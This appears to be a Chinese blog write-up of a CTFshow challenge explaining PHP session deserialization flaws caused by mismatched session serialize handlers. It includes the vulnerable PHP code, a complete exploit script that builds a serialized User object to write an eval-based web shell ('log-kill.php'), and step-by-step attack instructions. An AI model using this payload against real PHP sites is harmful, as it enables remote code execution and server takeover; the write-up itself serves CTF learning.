session反序列化漏洞

php session处理器
ini_set('session.serialize_handler', 'php_serialize');#开启serialize处理器
ini_set('session.serialize_handler', 'php');#开启php处理器

php_serialize(PHP ≥5.5.4 可用)

接收语句
$_SESSION['uid'] = 123;
$_SESSION['name'] = 'tom';
序列化存储内容
a:2:{s:3:"uid";i:123;s:4:"name";s:3:"tom";}

php php默认的session处理器,可以在php.ini进行修改

接收语句
$_SESSION=['uid'=>123,'name'=>'tom'];
序列化存储内容
uid|i:123;name|s:3:"tom";

session重要特性
session_start();
每次调用都会将对应的session序列字符串内容进行反序列化操作,即内置 unserialize()

漏洞出现点
当序列化session和反序列化session为不同的处理器,则原本对于反序列化处理器而言敏感的字符,可能会越狱,导致危险的反序列化行为出现

例如经过php_serialize序列化处理器的落实,把|作为普通字符,而php处理器解析的时候会把|当做键值的分割点,右侧值会被进行反序列化,从而出现危险效果

具体案例分析:

inc.php代码部分

点击查看代码
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);


**危险部分**
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

此处的危险代码部分存在反序列化写入shell可能,注意此处的session处理器为php

index.php

点击查看代码
<?php

	error_reporting(0);
	session_start();
	
	
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

没有指定session处理器,极大可能与inc.php的处理器不同,推测系统处理器为php_serialize

攻击思路
构造在inc.php反序列化时执行写入shell的序列化语句,序列化语句由index.php投放

具体EXP

点击查看代码
<?php
  class User{
    public $username;
    public $password;
    public $status=true;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
  }

  $a = new User('kill.php', '<?php eval($_POST[yeswind]) ?>');
  
  echo base64_encode('|'.serialize($a));#payload
?>

具体攻击步骤
访问index.php,修改limit为全url编码过后的payload(所有字符都要url编码),再次访问将session写入文件。
接着访问inc.php,会触发__destruct魔术方法,成功写入木马到文件log-kill.php

posted @ 2025-12-02 19:06  yeswind野风  阅读(161)  评论(1)    收藏  举报